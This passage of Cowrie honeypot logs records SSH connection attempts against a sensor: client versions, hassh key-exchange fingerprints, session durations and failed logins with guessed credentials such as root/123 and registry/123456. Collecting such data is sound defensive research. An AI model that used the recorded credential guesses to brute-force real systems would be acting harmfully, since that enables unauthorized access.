hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:57.816099Z","src_ip":"68.207.224.247","session":"172849d3e137","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft2026","message":"login attempt [minecraft/minecraft2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:58.004230Z","src_ip":"68.207.224.247","session":"172849d3e137","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:58.086301Z","src_ip":"91.92.40.4","session":"aea5246206a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:59.044131Z","src_ip":"68.207.224.247","session":"172849d3e137","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48984,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f3c27141a6c","protocol":"ssh","message":"New connection: 8.210.75.243:48984 (10.17.0.5:22) [session: 0f3c27141a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:04.853148Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:08.808534Z","src_ip":"8.210.75.243","session":"84840088e7d0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:10.251196Z","src_ip":"8.210.75.243","session":"0f3c27141a6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:11.362386Z","src_ip":"8.210.75.243","session":"0f3c27141a6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.75.11","src_port":60578,"dst_ip":"10.17.0.5","dst_port":22,"session":"05c22f9df6fb","protocol":"ssh","message":"New connection: 161.97.75.11:60578 (10.17.0.5:22) [session: 05c22f9df6fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:19.593479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:19.596911Z","src_ip":"161.97.75.11","session":"05c22f9df6fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:19.693079Z","src_ip":"161.97.75.11","session":"05c22f9df6fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"render","password":"render456","message":"login attempt [render/render456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:19.982827Z","src_ip":"161.97.75.11","session":"05c22f9df6fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:21.082110Z","src_ip":"161.97.75.11","session":"05c22f9df6fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.50355386734009,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:23.389233Z","src_ip":"170.64.224.25","session":"a0ec6c9d53d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":60360,"dst_ip":"10.17.0.5","dst_port":22,"session":"511fd2eeb2a1","protocol":"ssh","message":"New connection: 87.106.29.151:60360 (10.17.0.5:22) [session: 511fd2eeb2a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:26.034247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:26.037664Z","src_ip":"87.106.29.151","session":"511fd2eeb2a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:26.128181Z","src_ip":"87.106.29.151","session":"511fd2eeb2a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"random12","message":"login attempt [root/random12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:26.527106Z","src_ip":"87.106.29.151","session":"511fd2eeb2a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:27.621330Z","src_ip":"87.106.29.151","session":"511fd2eeb2a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.199.16.90","src_port":32780,"dst_ip":"159.203.135.109","dst_port":22,"session":"62852b942047","protocol":"ssh","message":"New connection: 103.199.16.90:32780 (159.203.135.109:22) [session: 62852b942047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:31.147197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:31.152655Z","src_ip":"103.199.16.90","session":"62852b942047","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:31.379012Z","src_ip":"103.199.16.90","session":"62852b942047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"registry","password":"123456","message":"login attempt [registry/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:32.278136Z","src_ip":"103.199.16.90","session":"62852b942047","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:33.509144Z","src_ip":"103.199.16.90","session":"62852b942047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":2499,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb6d804de781","protocol":"ssh","message":"New connection: 196.188.93.169:2499 (159.203.135.109:22) [session: eb6d804de781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:39.303774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:39.307556Z","src_ip":"196.188.93.169","session":"eb6d804de781","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:39.478728Z","src_ip":"196.188.93.169","session":"eb6d804de781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.94.68.69","src_port":56600,"dst_ip":"159.203.135.109","dst_port":22,"session":"1944b783c53b","protocol":"ssh","message":"New connection: 45.94.68.69:56600 (159.203.135.109:22) [session: 1944b783c53b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:39.733558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:39.739633Z","src_ip":"45.94.68.69","session":"1944b783c53b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:39.947216Z","src_ip":"45.94.68.69","session":"1944b783c53b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cf123456.","message":"login attempt [root/Cf123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:40.199000Z","src_ip":"196.188.93.169","session":"eb6d804de781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cf123456.","message":"login attempt [root/Cf123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:40.806015Z","src_ip":"45.94.68.69","session":"1944b783c53b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:41.373034Z","src_ip":"196.188.93.169","session":"eb6d804de781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:42.024708Z","src_ip":"45.94.68.69","session":"1944b783c53b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.116.101.220","src_port":56380,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e1b15ab833a","protocol":"ssh","message":"New connection: 18.116.101.220:56380 (159.203.135.109:22) [session: 9e1b15ab833a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:51.958647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:51.962032Z","src_ip":"18.116.101.220","session":"9e1b15ab833a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:51.981483Z","src_ip":"18.116.101.220","session":"9e1b15ab833a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:52.003240Z","src_ip":"18.116.101.220","session":"9e1b15ab833a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":36216,"dst_ip":"159.203.135.109","dst_port":22,"session":"d072018f666f","protocol":"ssh","message":"New connection: 91.92.40.13:36216 (159.203.135.109:22) [session: d072018f666f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:58.614077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:58.790415Z","src_ip":"91.92.40.13","session":"d072018f666f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:58.793187Z","src_ip":"91.92.40.13","session":"d072018f666f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:42:59.321535Z","src_ip":"91.92.40.13","session":"d072018f666f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:00.491828Z","src_ip":"91.92.40.13","session":"d072018f666f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.137.135","src_port":38372,"dst_ip":"10.17.0.5","dst_port":22,"session":"3627ccc65e75","protocol":"ssh","message":"New connection: 211.106.137.135:38372 (10.17.0.5:22) [session: 3627ccc65e75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:13.911472Z"}
